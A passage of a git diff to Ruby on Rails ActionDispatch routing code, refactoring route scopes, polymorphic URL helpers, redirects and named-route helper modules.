+          ensure
+            @scope = @scope.parent
           end
 
           def path_for_action(action, path) #:nodoc:
-            prefix = shallow_scoping? ?
-              "#{@scope[:shallow_path]}/#{parent_resource.shallow_scope}" : @scope[:path]
-
-            if canonical_action?(action, path.blank?)
-              prefix.to_s
+            if path.blank? && canonical_action?(action)
+              @scope[:path].to_s
             else
-              "#{prefix}/#{action_path(action, path)}"
+              "#{@scope[:path]}/#{action_path(action, path)}"
             end
           end
 
@@ -1594,15 +1718,18 @@ module ActionDispatch
 
           def prefix_name_for_action(as, action) #:nodoc:
             if as
-              as.to_s
-            elsif !canonical_action?(action, @scope[:scope_level])
-              action.to_s
+              prefix = as
+            elsif !canonical_action?(action)
+              prefix = action
+            end
+
+            if prefix && prefix != '/' && !prefix.empty?
+              Mapper.normalize_name prefix.to_s.tr('-', '_')
             end
           end
 
           def name_for_action(as, action) #:nodoc:
             prefix = prefix_name_for_action(as, action)
-            prefix = Mapper.normalize_name(prefix) if prefix
             name_prefix = @scope[:as]
 
             if parent_resource
@@ -1612,27 +1739,15 @@ module ActionDispatch
               member_name = parent_resource.member_name
             end
 
-            name = case @scope[:scope_level]
-            when :nested
-              [name_prefix, prefix]
-            when :collection
-              [prefix, name_prefix, collection_name]
-            when :new
-              [prefix, :new, name_prefix, member_name]
-            when :member
-              [prefix, shallow_scoping? ? @scope[:shallow_prefix] : name_prefix, member_name]
-            when :root
-              [name_prefix, collection_name, prefix]
-            else
-              [name_prefix, member_name, prefix]
-            end
+            action_name = @scope.action_name(name_prefix, prefix, collection_name, member_name)
+            candidate = action_name.select(&:present?).join('_')
 
-            if candidate = name.select(&:present?).join("_").presence
+            unless candidate.empty?
               # If a name was not explicitly given, we check if it is valid
               # and return nil in case it isn't. Otherwise, we pass the invalid name
               # forward so the underlying router engine treats it and raises an exception.
               if as.nil?
-                candidate unless @set.routes.find { |r| r.name == candidate } || candidate !~ /\A[_a-z]/i
+                candidate unless candidate !~ /\A[_a-z]/i || @set.named_routes.key?(candidate)
               else
                 candidate
               end
@@ -1757,10 +1872,85 @@ module ActionDispatch
         end
       end
 
+      class Scope # :nodoc:
+        OPTIONS = [:path, :shallow_path, :as, :shallow_prefix, :module,
+                   :controller, :action, :path_names, :constraints,
+                   :shallow, :blocks, :defaults, :options]
+
+        RESOURCE_SCOPES = [:resource, :resources]
+        RESOURCE_METHOD_SCOPES = [:collection, :member, :new]
+
+        attr_reader :parent, :scope_level
+
+        def initialize(hash, parent = {}, scope_level = nil)
+          @hash = hash
+          @parent = parent
+          @scope_level = scope_level
+        end
+
+        def nested?
+          scope_level == :nested
+        end
+
+        def resources?
+          scope_level == :resources
+        end
+
+        def resource_method_scope?
+          RESOURCE_METHOD_SCOPES.include? scope_level
+        end
+
+        def action_name(name_prefix, prefix, collection_name, member_name)
+          case scope_level
+          when :nested
+            [name_prefix, prefix]
+          when :collection
+            [prefix, name_prefix, collection_name]
+          when :new
+            [prefix, :new, name_prefix, member_name]
+          when :member
+            [prefix, name_prefix, member_name]
+          when :root
+            [name_prefix, collection_name, prefix]
+          else
+            [name_prefix, member_name, prefix]
+          end
+        end
+
+        def resource_scope?
+          RESOURCE_SCOPES.include? scope_level
+        end
+
+        def options
+          OPTIONS
+        end
+
+        def new(hash)
+          self.class.new hash, self, scope_level
+        end
+
+        def new_level(level)
+          self.class.new(self, self, level)
+        end
+
+        def fetch(key, &block)
+          @hash.fetch(key, &block)
+        end
+
+        def [](key)
+          @hash.fetch(key) { @parent[key] }
+        end
+
+        def []=(k,v)
+          @hash[k] = v
+        end
+      end
+
       def initialize(set) #:nodoc:
         @set = set
-        @scope = { :path_names => @set.resources_path_names }
+        @scope = Scope.new({ :path_names => @set.resources_path_names })
         @concerns = {}
+        @nesting = []
       end
 
       include Base
diff --git a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
index 6d3f8da932..2e116ea9cd 100644
--- a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
+++ b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
@@ -1,5 +1,3 @@
-require 'action_controller/model_naming'
-
 module ActionDispatch
   module Routing
     # Polymorphic URL helpers are methods for smart resolution to a named route call when
@@ -55,8 +53,6 @@ module ActionDispatch
     #   form_for([blog, @post])         # => "/blog/posts/1"
     #
     module PolymorphicRoutes
-      include ActionController::ModelNaming
-
       # Constructs a call to a named RESTful route for the given record and returns the
       # resulting URL string. For example:
       #
@@ -74,6 +70,19 @@ module ActionDispatch
       # * <tt>:routing_type</tt> - Allowed values are <tt>:path</tt> or <tt>:url</tt>.
       #   Default is <tt>:url</tt>.
       #
+      # Also includes all the options from <tt>url_for</tt>. These include such
+      # things as <tt>:anchor</tt> or <tt>:trailing_slash</tt>. Example usage
+      # is given below:
+      #
+      #   polymorphic_url([blog, post], anchor: 'my_anchor')
+      #     # => "http://example.com/blogs/1/posts/1#my_anchor"
+      #   polymorphic_url([blog, post], anchor: 'my_anchor', script_name: "/my_app")
+      #     # => "http://example.com/my_app/blogs/1/posts/1#my_anchor"
+      #
+      # For all of these options, see the documentation for <tt>url_for</tt>.
+      #
+      # ==== Functionality
+      #
       #   # an Article record
       #   polymorphic_url(record)  # same as article_url(record)
       #
@@ -88,118 +97,230 @@ module ActionDispatch
       #   polymorphic_url(Comment) # same as comments_url()
       #
       def polymorphic_url(record_or_hash_or_array, options = {})
-        if record_or_hash_or_array.kind_of?(Array)
-          record_or_hash_or_array = record_or_hash_or_array.compact
-          if record_or_hash_or_array.first.is_a?(ActionDispatch::Routing::RoutesProxy)
-            proxy = record_or_hash_or_array.shift
-          end
-          record_or_hash_or_array = record_or_hash_or_array[0] if record_or_hash_or_array.size == 1
-        end
-
-        record = extract_record(record_or_hash_or_array)
-        record = convert_to_model(record)
-
-        args = Array === record_or_hash_or_array ?
-          record_or_hash_or_array.dup :
-          [ record_or_hash_or_array ]
-
-        inflection = if options[:action] && options[:action].to_s == "new"
-          args.pop
-          :singular
-        elsif (record.respond_to?(:persisted?) && !record.persisted?)
-          args.pop
-          :plural
-        elsif record.is_a?(Class)
-          args.pop
-          :plural
-        else
-          :singular
+        if Hash === record_or_hash_or_array
+          options = record_or_hash_or_array.merge(options)
+          record  = options.delete :id
+          return polymorphic_url record, options
         end
 
-        args.delete_if {|arg| arg.is_a?(Symbol) || arg.is_a?(String)}
-        named_route = build_named_route_call(record_or_hash_or_array, inflection, options)
-
-        url_options = options.except(:action, :routing_type)
-        unless url_options.empty?
-          args.last.kind_of?(Hash) ? args.last.merge!(url_options) : args << url_options
-        end
+        opts   = options.dup
+        action = opts.delete :action
+        type   = opts.delete(:routing_type) || :url
 
-        args.collect! { |a| convert_to_model(a) }
-
-        (proxy || self).send(named_route, *args)
+        HelperMethodBuilder.polymorphic_method self,
+                                               record_or_hash_or_array,
+                                               action,
+                                               type,
+                                               opts
       end
 
       # Returns the path component of a URL for the given record. It uses
       # <tt>polymorphic_url</tt> with <tt>routing_type: :path</tt>.
       def polymorphic_path(record_or_hash_or_array, options = {})
-        polymorphic_url(record_or_hash_or_array, options.merge(:routing_type => :path))
+        if Hash === record_or_hash_or_array
+          options = record_or_hash_or_array.merge(options)
+          record  = options.delete :id
+          return polymorphic_path record, options
+        end
+
+        opts   = options.dup
+        action = opts.delete :action
+        type   = :path
+
+        HelperMethodBuilder.polymorphic_method self,
+                                               record_or_hash_or_array,
+                                               action,
+                                               type,
+                                               opts
       end
 
+
       %w(edit new).each do |action|
         module_eval <<-EOT, __FILE__, __LINE__ + 1
-          def #{action}_polymorphic_url(record_or_hash, options = {})         # def edit_polymorphic_url(record_or_hash, options = {})
-            polymorphic_url(                                                  #   polymorphic_url(
-              record_or_hash,                                                 #     record_or_hash,
-              options.merge(:action => "#{action}"))                          #     options.merge(:action => "edit"))
-          end                                                                 # end
-                                                                              #
-          def #{action}_polymorphic_path(record_or_hash, options = {})        # def edit_polymorphic_path(record_or_hash, options = {})
-            polymorphic_url(                                                  #   polymorphic_url(
-              record_or_hash,                                                 #     record_or_hash,
-              options.merge(:action => "#{action}", :routing_type => :path))  #     options.merge(:action => "edit", :routing_type => :path))
-          end                                                                 # end
+          def #{action}_polymorphic_url(record_or_hash, options = {})
+            polymorphic_url_for_action("#{action}", record_or_hash, options)
+          end
+
+          def #{action}_polymorphic_path(record_or_hash, options = {})
+            polymorphic_path_for_action("#{action}", record_or_hash, options)
+          end
         EOT
       end
 
       private
-        def action_prefix(options)
-          options[:action] ? "#{options[:action]}_" : ''
+
+      def polymorphic_url_for_action(action, record_or_hash, options)
+        polymorphic_url(record_or_hash, options.merge(:action => action))
+      end
+
+      def polymorphic_path_for_action(action, record_or_hash, options)
+        polymorphic_path(record_or_hash, options.merge(:action => action))
+      end
+
+      class HelperMethodBuilder # :nodoc:
+        CACHE = { 'path' => {}, 'url' => {} }
+
+        def self.get(action, type)
+          type   = type.to_s
+          CACHE[type].fetch(action) { build action, type }
         end
 
-        def routing_type(options)
-          options[:routing_type] || :url
+        def self.url;  CACHE['url'.freeze][nil]; end
+        def self.path; CACHE['path'.freeze][nil]; end
+
+        def self.build(action, type)
+          prefix = action ? "#{action}_" : ""
+          suffix = type
+          if action.to_s == 'new'
+            HelperMethodBuilder.singular prefix, suffix
+          else
+            HelperMethodBuilder.plural prefix, suffix
+          end
         end
 
-        def build_named_route_call(records, inflection, options = {})
-          if records.is_a?(Array)
-            record = records.pop
-            route = records.map do |parent|
-              if parent.is_a?(Symbol) || parent.is_a?(String)
-                parent
-              else
-                model_name_from_record_or_class(parent).singular_route_key
-              end
+        def self.singular(prefix, suffix)
+          new(->(name) { name.singular_route_key }, prefix, suffix)
+        end
+
+        def self.plural(prefix, suffix)
+          new(->(name) { name.route_key }, prefix, suffix)
+        end
+
+        def self.polymorphic_method(recipient, record_or_hash_or_array, action, type, options)
+          builder = get action, type
+
+          case record_or_hash_or_array
+          when Array
+            record_or_hash_or_array = record_or_hash_or_array.compact
+            if record_or_hash_or_array.empty?
+              raise ArgumentError, "Nil location provided. Can't build URI."
+            end
+            if record_or_hash_or_array.first.is_a?(ActionDispatch::Routing::RoutesProxy)
+              recipient = record_or_hash_or_array.shift
             end
+
+            method, args = builder.handle_list record_or_hash_or_array
+          when String, Symbol
+            method, args = builder.handle_string record_or_hash_or_array
+          when Class
+            method, args = builder.handle_class record_or_hash_or_array
+
+          when nil
+            raise ArgumentError, "Nil location provided. Can't build URI."
+          else
+            method, args = builder.handle_model record_or_hash_or_array
+          end
+
+
+          if options.empty?
+            recipient.send(method, *args)
           else
-            record = extract_record(records)
-            route  = []
+            recipient.send(method, *args, options)
           end
+        end
+
+        attr_reader :suffix, :prefix
+
+        def initialize(key_strategy, prefix, suffix)
+          @key_strategy = key_strategy
+          @prefix       = prefix
+          @suffix       = suffix
+        end
+
+        def handle_string(record)
+          [get_method_for_string(record), []]
+        end
+
+        def handle_string_call(target, str)
+          target.send get_method_for_string str
+        end
+
+        def handle_class(klass)
+          [get_method_for_class(klass), []]
+        end
+
+        def handle_class_call(target, klass)
+          target.send get_method_for_class klass
+        end
+
+        def handle_model(record)
+          args  = []
+
+          model = record.to_model
+          name = if model.persisted?
+                   args << model
+                   model.model_name.singular_route_key
+                 else
+                   @key_strategy.call model.model_name
+                 end
+
+          named_route = prefix + "#{name}_#{suffix}"
 
-          if record.is_a?(Symbol) || record.is_a?(String)
-            route << record
-          elsif record
-            if inflection == :singular
-              route << model_name_from_record_or_class(record).singular_route_key
+          [named_route, args]
+        end
+
+        def handle_model_call(target, model)
+          method, args = handle_model model
+          target.send(method, *args)
+        end
+
+        def handle_list(list)
+          record_list = list.dup
+          record      = record_list.pop
+
+          args = []
+
+          route  = record_list.map { |parent|
+            case parent
+            when Symbol, String
+              parent.to_s
+            when Class
+              args << parent
+              parent.model_name.singular_route_key
             else
-              route << model_name_from_record_or_class(record).route_key
+              args << parent.to_model
+              parent.to_model.model_name.singular_route_key
             end
+          }
+
+          route <<
+          case record
+          when Symbol, String
+            record.to_s
+          when Class
+            @key_strategy.call record.model_name
           else
-            raise ArgumentError, "Nil location provided. Can't build URI."
+            model = record.to_model
+            if model.persisted?
+              args << model
+              model.model_name.singular_route_key
+            else
+              @key_strategy.call model.model_name
+            end
           end
 
-          route << routing_type(options)
+          route << suffix
 
-          action_prefix(options) + route.join("_")
+          named_route = prefix + route.join("_")
+          [named_route, args]
         end
 
-        def extract_record(record_or_hash_or_array)
-          case record_or_hash_or_array
-            when Array; record_or_hash_or_array.last
-            when Hash;  record_or_hash_or_array[:id]
-            else        record_or_hash_or_array
-          end
+        private
+
+        def get_method_for_class(klass)
+          name   = @key_strategy.call klass.model_name
+          prefix + "#{name}_#{suffix}"
+        end
+
+        def get_method_for_string(str)
+          prefix + "#{str}_#{suffix}"
         end
+
+        [nil, 'new', 'edit'].each do |action|
+          CACHE['url'][action]  = build action, 'url'
+          CACHE['path'][action] = build action, 'path'
+        end
+      end
     end
   end
 end
-
diff --git a/actionpack/lib/action_dispatch/routing/redirection.rb b/actionpack/lib/action_dispatch/routing/redirection.rb
index d751e04e6a..3c1c4fadf6 100644
--- a/actionpack/lib/action_dispatch/routing/redirection.rb
+++ b/actionpack/lib/action_dispatch/routing/redirection.rb
@@ -3,10 +3,11 @@ require 'active_support/core_ext/uri'
 require 'active_support/core_ext/array/extract_options'
 require 'rack/utils'
 require 'action_controller/metal/exceptions'
+require 'action_dispatch/routing/endpoint'
 
 module ActionDispatch
   module Routing
-    class Redirect # :nodoc:
+    class Redirect < Endpoint # :nodoc:
       attr_reader :status, :block
 
       def initialize(status, block)
@@ -14,23 +15,29 @@ module ActionDispatch
         @block  = block
       end
 
+      def redirect?; true; end
+
       def call(env)
-        req = Request.new(env)
+        serve Request.new env
+      end
 
-        # If any of the path parameters has a invalid encoding then
-        # raise since it's likely to trigger errors further on.
-        req.symbolized_path_parameters.each do |key, value|
-          unless value.valid_encoding?
-            raise ActionController::BadRequest, "Invalid parameter: #{key} => #{value}"
+      def serve(req)
+        req.check_path_parameters!
+        uri = URI.parse(path(req.path_parameters, req))
+        
+        unless uri.host
+          if relative_path?(uri.path)
+            uri.path = "#{req.script_name}/#{uri.path}"
+          elsif uri.path.empty?
+            uri.path = req.script_name.empty? ? "/" : req.script_name
           end
         end
-
-        uri = URI.parse(path(req.symbolized_path_parameters, req))
+          
         uri.scheme ||= req.scheme
         uri.host   ||= req.host
         uri.port   ||= req.port unless req.standard_port?
 
-        body = %(<html><body>You are being <a href="#{ERB::Util.h(uri.to_s)}">redirected</a>.</body></html>)
+        body = %(<html><body>You are being <a href="#{ERB::Util.unwrapped_html_escape(uri.to_s)}">redirected</a>.</body></html>)
 
         headers = {
           'Location' => uri.to_s,
@@ -48,11 +55,38 @@ module ActionDispatch
       def inspect
         "redirect(#{status})"
       end
+
+      private
+        def relative_path?(path)
+          path && !path.empty? && path[0] != '/'
+        end
+
+        def escape(params)
+          Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+        end
+
+        def escape_fragment(params)
+          Hash[params.map{ |k,v| [k, Journey::Router::Utils.escape_fragment(v)] }]
+        end
+
+        def escape_path(params)
+          Hash[params.map{ |k,v| [k, Journey::Router::Utils.escape_path(v)] }]
+        end
     end
 
     class PathRedirect < Redirect
+      URL_PARTS = /\A([^?]+)?(\?[^#]+)?(#.+)?\z/
+
       def path(params, request)
-        (params.empty? || !block.match(/%\{\w*\}/)) ? block : (block % escape(params))
+        if block.match(URL_PARTS)
+          path     = interpolation_required?($1, params) ? $1 % escape_path(params)     : $1
+          query    = interpolation_required?($2, params) ? $2 % escape(params)          : $2
+          fragment = interpolation_required?($3, params) ? $3 % escape_fragment(params) : $3
+
+          "#{path}#{query}#{fragment}"
+        else
+          interpolation_required?(block, params) ? block % escape(params) : block
+        end
       end
 
       def inspect
@@ -60,8 +94,8 @@ module ActionDispatch
       end
 
       private
-        def escape(params)
-          Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+        def interpolation_required?(string, params)
+          !params.empty? && string && string.match(/%\{\w*\}/)
         end
     end
 
@@ -81,17 +115,22 @@ module ActionDispatch
           url_options[:path] = (url_options[:path] % escape_path(params))
         end
 
+        unless options[:host] || options[:domain]
+          if relative_path?(url_options[:path])
+            url_options[:path] = "/#{url_options[:path]}"
+            url_options[:script_name] = request.script_name
+          elsif url_options[:path].empty?
+            url_options[:path] = request.script_name.empty? ? "/" : ""
+            url_options[:script_name] = request.script_name
+          end
+        end
+        
         ActionDispatch::Http::URL.url_for url_options
       end
 
       def inspect
         "redirect(#{status}, #{options.map{ |k,v| "#{k}: #{v}" }.join(', ')})"
       end
-
-      private
-        def escape_path(params)
-          Hash[params.map{ |k,v| [k, URI.parser.escape(v)] }]
-        end
     end
 
     module Redirection
@@ -104,6 +143,10 @@ module ActionDispatch
       #
       #   get 'docs/:article', to: redirect('/wiki/%{article}')
       #
+      # Note that if you return a path without a leading slash then the url is prefixed with the
+      # current SCRIPT_NAME environment variable. This is typically '/' but may be different in
+      # a mounted engine or where the application is deployed to a subdirectory of a website.
+      #
       # Alternatively you can use one of the other syntaxes:
       #
       # The block version of redirect allows for the easy encapsulation of any logic associated with
diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb
index 0e5dc1fc6c..948cbdc014 100644
--- a/actionpack/lib/action_dispatch/routing/route_set.rb
+++ b/actionpack/lib/action_dispatch/routing/route_set.rb
@@ -1,42 +1,36 @@
 require 'action_dispatch/journey'
 require 'forwardable'
 require 'thread_safe'
+require 'active_support/concern'
 require 'active_support/core_ext/object/to_query'
 require 'active_support/core_ext/hash/slice'
 require 'active_support/core_ext/module/remove_method'
 require 'active_support/core_ext/array/extract_options'
 require 'action_controller/metal/exceptions'
+require 'action_dispatch/http/request'
+require 'action_dispatch/routing/endpoint'
 
 module ActionDispatch
   module Routing
-    class RouteSet #:nodoc:
+    # :stopdoc:
+    class RouteSet
       # Since the router holds references to many parts of the system
       # like engines, controllers and the application itself, inspecting
       # the route set can actually be really slow, therefore we default
       # alias inspect to to_s.
       alias inspect to_s
 
-      PARAMETERS_KEY = 'action_dispatch.request.path_parameters'
-
-      class Dispatcher #:nodoc:
-        def initialize(options={})
-          @defaults = options[:defaults]
-          @glob_param = options.delete(:glob)
+      class Dispatcher < Routing::Endpoint
+        def initialize(defaults)
+          @defaults = defaults
           @controller_class_names = ThreadSafe::Cache.new
         end
 
-        def call(env)
-          params = env[PARAMETERS_KEY]
-
-          # If any of the path parameters has a invalid encoding then
-          # raise since it's likely to trigger errors further on.
-          params.each do |key, value|
-            next unless value.respond_to?(:valid_encoding?)
+        def dispatcher?; true; end
 
-            unless value.valid_encoding?
-              raise ActionController::BadRequest, "Invalid parameter: #{key} => #{value}"
-            end
-          end
+        def serve(req)
+          req.check_path_parameters!
+          params = req.path_parameters
 
           prepare_params!(params)
 
@@ -45,13 +39,12 @@ module ActionDispatch
             return [404, {'X-Cascade' => 'pass'}, []]
           end
 
-          dispatch(controller, params[:action], env)
+          dispatch(controller, params[:action], req.env)
         end
 
         def prepare_params!(params)
           normalize_controller!(params)
           merge_default_action!(params)
-          split_glob_param!(params) if @glob_param
         end
 
         # If this is a default_controller (i.e. a controller specified by the user)
@@ -87,47 +80,71 @@ module ActionDispatch
         def merge_default_action!(params)
           params[:action] ||= 'index'
         end
-
-        def split_glob_param!(params)
-          params[@glob_param] = params[@glob_param].split('/').map { |v| URI.parser.unescape(v) }
-        end
       end
 
       # A NamedRouteCollection instance is a collection of named routes, and also
       # maintains an anonymous module that can be used to install helpers for the
       # named routes.
-      class NamedRouteCollection #:nodoc:
+      class NamedRouteCollection
         include Enumerable
-        attr_reader :routes, :helpers, :module
+        attr_reader :routes, :url_helpers_module, :path_helpers_module
 
         def initialize
           @routes  = {}
-          @helpers = []
-          @module  = Module.new
+          @path_helpers = Set.new
+          @url_helpers = Set.new
+          @url_helpers_module  = Module.new
+          @path_helpers_module = Module.new
+        end
+
+        def route_defined?(name)
+          key = name.to_sym
+          @path_helpers.include?(key) || @url_helpers.include?(key)
         end
 
         def helper_names
-          @helpers.map(&:to_s)
+          @path_helpers.map(&:to_s) + @url_helpers.map(&:to_s)
         end
 
         def clear!
-          @helpers.each do |helper|
-            @module.remove_possible_method helper
+          @path_helpers.each do |helper|
+            @path_helpers_module.send :undef_method, helper
+          end
+
+          @url_helpers.each do |helper|
+            @url_helpers_module.send  :undef_method, helper
           end
 
           @routes.clear
-          @helpers.clear
+          @path_helpers.clear
+          @url_helpers.clear
         end
 
         def add(name, route)
-          routes[name.to_sym] = route
-          define_named_route_methods(name, route)
+          key       = name.to_sym
+          path_name = :"#{name}_path"
+          url_name  = :"#{name}_url"
+
+          if routes.key? key
+            @path_helpers_module.send :undef_method, path_name
+            @url_helpers_module.send  :undef_method, url_name
+          end
+          routes[key] = route
+          define_url_helper @path_helpers_module, route, path_name, route.defaults, name, PATH
+          define_url_helper @url_helpers_module,  route, url_name,  route.defaults, name, UNKNOWN
+
+          @path_helpers << path_name
+          @url_helpers << url_name
         end
 
         def get(name)
           routes[name.to_sym]
         end
 
+        def key?(name)
+          routes.key? name.to_sym
+        end
+
         alias []=   add
         alias []    get
         alias clear clear!
@@ -145,35 +162,35 @@ module ActionDispatch
           routes.length
         end
 
-        class UrlHelper # :nodoc:
-          def self.create(route, options)
+        class UrlHelper
+          def self.create(route, options, route_name, url_strategy)
             if optimize_helper?(route)
-              OptimizedUrlHelper.new(route, options)
+              OptimizedUrlHelper.new(route, options, route_name, url_strategy)
             else
-              new route, options
+              new route, options, route_name, url_strategy
             end
           end
 
           def self.optimize_helper?(route)
-            route.requirements.except(:controller, :action).empty?
+            !route.glob? && route.path.requirements.empty?
           end
 
-          class OptimizedUrlHelper < UrlHelper # :nodoc:
+          attr_reader :url_strategy, :route_name
+
+          class OptimizedUrlHelper < UrlHelper
             attr_reader :arg_size
 
-            def initialize(route, options)
+            def initialize(route, options, route_name, url_strategy)
               super
-              @path_parts   = @route.required_parts
-              @arg_size     = @path_parts.size
-              @string_route = @route.optimized_path
+              @required_parts = @route.required_parts
+              @arg_size       = @required_parts.size
             end
 
-            def call(t, args)
-              if args.size == arg_size && !args.last.is_a?(Hash) && optimize_routes_generation?(t)
-                options = @options.dup
-                options.merge!(t.url_options) if t.respond_to?(:url_options)
+            def call(t, args, inner_options)
+              if args.size == arg_size && !inner_options && optimize_routes_generation?(t)
+                options = t.url_options.merge @options
                 options[:path] = optimized_helper(args)
-                ActionDispatch::Http::URL.url_for(options)
+                url_strategy.call options
               else
                 super
               end
@@ -182,69 +199,76 @@ module ActionDispatch
             private
 
             def optimized_helper(args)
-              path = @string_route.dup
-              klass = Journey::Router::Utils
-
-              @path_parts.zip(args) do |part, arg|
-                parameterized_arg = arg.to_param
-
-                if parameterized_arg.nil? || parameterized_arg.empty?
-                  raise_generation_error(args)
-                end
+              params = parameterize_args(args)
+              missing_keys = missing_keys(params)
 
-                # Replace each route parameter
-                # e.g. :id for regular parameter or *path for globbing
-                # with ruby string interpolation code
-                path.gsub!(/(\*|:)#{part}/, klass.escape_fragment(parameterized_arg))
+              unless missing_keys.empty?
+                raise_generation_error(params, missing_keys)
               end
-              path
+
+              @route.format params
             end
 
             def optimize_routes_generation?(t)
               t.send(:optimize_routes_generation?)
             end
 
-            def raise_generation_error(args)
-              parts, missing_keys = [], []
-
-              @path_parts.zip(args) do |part, arg|
-                parameterized_arg = arg.to_param
-
-                if parameterized_arg.nil? || parameterized_arg.empty?
-                  missing_keys << part
-                end
+            def parameterize_args(args)
+              params = {}
+              @required_parts.zip(args.map(&:to_param)) { |k,v| params[k] = v }
+              params
+            end
 
-                parts << [part, arg]
-              end
+            def missing_keys(args)
+              args.select{ |part, arg| arg.nil? || arg.empty? }.keys
+            end
 
-              message = "No route matches #{Hash[parts].inspect}"
-              message << " missing required keys: #{missing_keys.inspect}"
+            def raise_generation_error(args, missing_keys)
+              constraints = Hash[@route.requirements.merge(args).sort]
+              message = "No route matches #{constraints.inspect}"
+              message << " missing required keys: #{missing_keys.sort.inspect}"
 
               raise ActionController::UrlGenerationError, message
             end
           end
 
-          def initialize(route, options)
+          def initialize(route, options, route_name, url_strategy)
             @options      = options
-            @segment_keys = route.segment_keys
+            @segment_keys = route.segment_keys.uniq
             @route        = route
+            @url_strategy = url_strategy
+            @route_name   = route_name
           end
 
-          def call(t, args)
-            t.url_for(handle_positional_args(t, args, @options, @segment_keys))
-          end
+          def call(t, args, inner_options)
+            controller_options = t.url_options
+            options = controller_options.merge @options
+            hash = handle_positional_args(controller_options,
+                                          inner_options || {},
+                                          args,
+                                          options,
+                                          @segment_keys)
 
-          def handle_positional_args(t, args, options, keys)
-            inner_options = args.extract_options!
-            result = options.dup
+            t._routes.url_for(hash, route_name, url_strategy)
+          end
 
+          def handle_positional_args(controller_options, inner_options, args, result, path_params)
             if args.size > 0
-              if args.size < keys.size - 1 # take format into account
-                keys -= t.url_options.keys if t.respond_to?(:url_options)
-                keys -= options.keys
+              # take format into account
+              if path_params.include?(:format)
+                path_params_size = path_params.size - 1
+              else
+                path_params_size = path_params.size
+              end
+
+              if args.size < path_params_size
+                path_params -= controller_options.keys
+                path_params -= result.keys
+              end
+              path_params -= inner_options.keys
+              path_params.take(args.size).each do |param|
+                result[param] = args.shift
               end
-              keys -= inner_options.keys
-              result.merge!(Hash[keys.zip(args)])
             end
 
             result.merge!(inner_options)
@@ -265,27 +289,22 @@ module ActionDispatch
         #
         #   foo_url(bar, baz, bang, sort_by: 'baz')
         #
-        def define_url_helper(route, name, options)
-          helper = UrlHelper.create(route, options.dup)
-
-          @module.remove_possible_method name
-          @module.module_eval do
+        def define_url_helper(mod, route, name, opts, route_key, url_strategy)
+          helper = UrlHelper.create(route, opts, route_key, url_strategy)
+          mod.module_eval do
             define_method(name) do |*args|
-              helper.call self, args
+              options = nil
+              options = args.pop if args.last.is_a? Hash
+              helper.call self, args, options
             end
           end
-
-          helpers << name
-        end
-
-        def define_named_route_methods(name, route)
-          define_url_helper route, :"#{name}_path",
-            route.defaults.merge(:use_route => name, :only_path => true)
-          define_url_helper route, :"#{name}_url",
-            route.defaults.merge(:use_route => name, :only_path => false)
         end
       end
 
+      # strategy for building urls to send to the client
+      PATH    = ->(options) { ActionDispatch::Http::URL.path_for(options) }
+      UNKNOWN = ->(options) { ActionDispatch::Http::URL.url_for(options) }
+
       attr_accessor :formatter, :set, :named_routes, :default_scope, :router
       attr_accessor :disable_clear_and_finalize, :resources_path_names
       attr_accessor :default_url_options, :request_class
@@ -298,7 +317,7 @@ module ActionDispatch
 
       def initialize(request_class = ActionDispatch::Request)
         self.named_routes = NamedRouteCollection.new
-        self.resources_path_names = self.class.default_resources_path_names.dup
+        self.resources_path_names = self.class.default_resources_path_names
         self.default_url_options = {}
         self.request_class = request_class
 
@@ -308,9 +327,7 @@ module ActionDispatch
         @finalized                  = false
 
         @set    = Journey::Routes.new
-        @router = Journey::Router.new(@set, {
-          :parameters_key => PARAMETERS_KEY,
-          :request_class  => request_class})
+        @router = Journey::Router.new @set
         @formatter = Journey::Formatter.new @set
       end
 
@@ -341,6 +358,7 @@ module ActionDispatch
           mapper.instance_exec(&block)
         end
       end
+      private :eval_block
 
       def finalize!
         return if @finalized
@@ -356,12 +374,16 @@ module ActionDispatch
         @prepend.each { |blk| eval_block(blk) }
       end
 
-      module MountedHelpers #:nodoc:
+      def dispatcher(defaults)
+        Routing::RouteSet::Dispatcher.new(defaults)
+      end
+
+      module MountedHelpers
         extend ActiveSupport::Concern
         include UrlFor
       end
 
-      # Contains all the mounted helpers accross different
+      # Contains all the mounted helpers across different
       # engines and the `main_app` helper for the application.
       # You can include this in your classes if you want to
       # access routes for other engines.
@@ -386,40 +408,70 @@ module ActionDispatch
         RUBY
       end
 
-      def url_helpers
-        @url_helpers ||= begin
-          routes = self
+      def url_helpers(supports_path = true)
+        if supports_path
+          @url_helpers_with_paths ||= generate_url_helpers(supports_path)
+        else
+          @url_helpers_without_paths ||= generate_url_helpers(supports_path)
+        end
+      end
+
+      def generate_url_helpers(supports_path)
+        routes = self
 
-          Module.new do
-            extend ActiveSupport::Concern
-            include UrlFor
+        Module.new do
+          extend ActiveSupport::Concern
+          include UrlFor
 
-            # Define url_for in the singleton level so one can do:
-            # Rails.application.routes.url_helpers.url_for(args)
-            @_routes = routes
-            class << self
-              delegate :url_for, :optimize_routes_generation?, :to => '@_routes'
+          # Define url_for in the singleton level so one can do:
+          # Rails.application.routes.url_helpers.url_for(args)
+          @_routes = routes
+          class << self
+            def url_for(options)
+              @_routes.url_for(options)
             end
 
-            # Make named_routes available in the module singleton
-            # as well, so one can do:
-            # Rails.application.routes.url_helpers.posts_path
-            extend routes.named_routes.module
+            def optimize_routes_generation?
+              @_routes.optimize_routes_generation?
+            end
 
-            # Any class that includes this module will get all
-            # named routes...
-            include routes.named_routes.module
+            attr_reader :_routes
+            def url_options; {}; end
+          end
 
-            # plus a singleton class method called _routes ...
-            included do
-              singleton_class.send(:redefine_method, :_routes) { routes }
-            end
+          url_helpers = routes.named_routes.url_helpers_module
+
+          # Make named_routes available in the module singleton
+          # as well, so one can do:
+          # Rails.application.routes.url_helpers.posts_path
+          extend url_helpers
 
-            # And an instance method _routes. Note that
-            # UrlFor (included in this module) add extra
-            # conveniences for working with @_routes.
-            define_method(:_routes) { @_routes || routes }
+          # Any class that includes this module will get all
+          # named routes...
+          include url_helpers
+
+          if supports_path
+            path_helpers = routes.named_routes.path_helpers_module
+
+            include path_helpers
+            extend path_helpers
           end
+
+          # plus a singleton class method called _routes ...
+          included do
+            singleton_class.send(:redefine_method, :_routes) { routes }
+          end
+
